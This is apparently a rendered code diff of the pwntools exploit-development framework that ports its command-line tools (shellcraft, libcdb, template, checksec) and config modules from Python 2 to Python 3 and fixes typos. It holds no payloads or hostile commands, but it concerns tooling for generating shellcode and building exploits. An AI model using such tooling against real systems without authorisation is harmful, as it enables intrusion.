from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
#!/usr/bin/env python3
import re
import shutil
import sys
@@ -240,6 +236,9 @@ def main(args):
symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True)
if not matched_libcs:
return
for libc in matched_libcs:
print_libc_info(libc)
if args.download_libc:
@@ -267,7 +266,9 @@ def main(args):
continue
if args.unstrip:
libcdb.unstrip_libc(file)
if not libcdb.unstrip_libc(file):
log.failure('Failed to unstrip libc binary %s', file)
continue
print_libc_elf(ELF(file, checksec=False))
-2
View File
@@ -1,5 +1,3 @@
from __future__ import absolute_import
from pwnlib.commandline import asm
from pwnlib.commandline import checksec
from pwnlib.commandline import common
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import signal
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import pwnlib.args
@@ -18,7 +15,7 @@ p = common.parser_commands.add_parser(
g = p.add_argument_group("actions")
g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout), help='Output file')
p.add_argument('file', type=argparse.FileType('rb'))
def main(args):
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
+7 -21
View File
@@ -1,9 +1,5 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import six
import sys
import types
@@ -12,6 +8,7 @@ pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
from pwnlib.util.fiddling import hexstr
# ____ _ _ _ __ _
@@ -20,17 +17,6 @@ from pwnlib.commandline import common
# ___) | | | | __/ | | (__| | | (_| | _| |_
# |____/|_| |_|\___|_|_|\___|_| \__,_|_| \__|
def _string(s):
out = []
for co in bytearray(s):
c = chr(co)
if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
out.append(c)
else:
out.append('\\x%02x' % co)
return '"' + ''.join(out) + '"\n'
p = common.parser_commands.add_parser(
'shellcraft',
help = 'Microwave shellcode -- Easy, fast and delicious',
@@ -85,7 +71,7 @@ p.add_argument(
p.add_argument(
'--delim',
help='Set the delimiter between multilple shellcodes',
help='Set the delimiter between multiple shellcodes',
default='+'
)
@@ -280,8 +266,8 @@ def main(args):
code_array = []
for (name, func, func_args) in funcs:
defargs = len(six.get_function_defaults(func) or ())
reqargs = six.get_function_code(func).co_argcount - defargs
defargs = len(func.__defaults__ or ())
reqargs = func.__code__.co_argcount - defargs
if len(func_args) < reqargs:
if defargs > 0:
@@ -291,7 +277,7 @@ def main(args):
log.critical('%s takes exactly %d arguments' % (name, reqargs))
sys.exit(1)
# Captain uglyness saves the day!
# Captain ugliness saves the day!
for i, val in enumerate(func_args):
try:
func_args[i] = util.safeeval.expr(val)
@@ -367,7 +353,7 @@ def main(args):
sys.exit(0)
if args.format in ['s', 'str', 'string']:
code = _string(code)
code = hexstr(code)
elif args.format == 'c':
code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
elif args.format in ['h', 'hex']:
@@ -375,7 +361,7 @@ def main(args):
elif args.format in ['i', 'hexii']:
code = hexii(code) + '\n'
elif args.format in ['d', 'escaped']:
code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
code = ''.join(fr'\x{c:02x}' for c in code) + '\n'
if not sys.stdin.isatty():
args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
+6 -9
View File
@@ -1,12 +1,8 @@
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pwn import *
from pwnlib.commandline import common
from pwnlib.data import path as data_path
from pwnlib.util.misc import which, parse_ldd_output, write
from sys import stderr
from mako.lookup import TemplateLookup, Template
parser = common.parser_commands.add_parser(
@@ -19,7 +15,7 @@ parser = common.parser_commands.add_parser(
)
# change path to hardcoded one when building the documentation
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else data_path
parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')
parser.add_argument('--host', help='Remote host / SSH server')
@@ -89,7 +85,7 @@ def get_docker_image_libraries():
if not (libc and ld):
progress.failure("Could not find libraries")
return None, None
progress.status("Copying libraries to current directory")
for filename, basename in zip((libc, ld), (libc_basename, ld_basename)):
cat_command = ["-c", "chroot %s /bin/sh -c '/bin/cat %s'" % (chroot_dir, filename)]
@@ -108,8 +104,9 @@ def get_docker_image_libraries():
write(basename, contents)
except subprocess.CalledProcessError as e:
print(e.stderr.decode())
log.error("docker failed with status: %d" % e.returncode)
print(e.stderr.decode(), file=sys.stderr)
progress.failure("docker failed with status: %d" % e.returncode)
return None, None
progress.success("Retrieved libraries from Docker image")
return libc_basename, ld_basename
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
from string import whitespace
+1 -4
View File
@@ -1,7 +1,4 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
#!/usr/bin/env python3
import subprocess
import pwnlib.args
+1 -4
View File
@@ -1,7 +1,4 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
#!/usr/bin/env python3
import os
import subprocess
+8 -9
View File
@@ -1,4 +1,3 @@
# -*- coding: utf-8 -*-
"""Allows per-user and per-host configuration of Pwntools settings.
The list of configurable options includes all of the logging symbols
@@ -14,7 +13,7 @@ when used in library mode (``import pwnlib``). To read the configuration
file in library mode, invoke :func:`.config.initialize`.
The ``context`` section supports complex types, at least as far as is
supported by ``pwnlib.util.safeeval.expr``.
supported by :func:`pwnlib.util.safeeval.expr`.
::
@@ -32,15 +31,15 @@ supported by ``pwnlib.util.safeeval.expr``.
[update]
interval=7
"""
from __future__ import absolute_import
from __future__ import division
from six.moves import configparser
import configparser
import os
from typing import Any, Callable
registered_configs = {}
ConfigHandler = Callable[[dict[str, Any]], None]
def register_config(section, function):
registered_configs: dict[str, ConfigHandler] = {}
def register_config(section: str, function: ConfigHandler) -> None:
"""Registers a configuration section.
Arguments:
@@ -50,7 +49,7 @@ def register_config(section, function):
"""
registered_configs[section] = function
def initialize():
def initialize() -> None:
"""Read the configuration files."""
from pwnlib.log import getLogger
log = getLogger(__name__)
+2 -4
View File
@@ -50,8 +50,6 @@ Example:
61
"""
from __future__ import absolute_import
import importlib
import sys
from types import ModuleType
@@ -148,10 +146,10 @@ class ConstantsModule(ModuleType):
val = safeeval.values(string, self._env_store[key])
# if the expression is not assembly-safe, it is not so vital to preserve it
if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
if set(string) & (set(bytearray(range(32)).decode()) | set(r'"#$\',.;@[]`{}')):
string = val
return Constant('(%s)' % string, val)
return Constant(f'({string})', val)
# To prevent garbage collection
+1 -6
View File
@@ -1,9 +1,4 @@
try:
base = long # workaround for py2
except NameError:
base = int
class Constant(base):
class Constant(int):
def __new__(cls, s, i):
obj = super(Constant, cls).__new__(cls, i)
obj.s = s
File diff suppressed because it is too large. Load diff
Loaded 100 of 800 files, more files were not shown because too many files have changed in this diff. Show more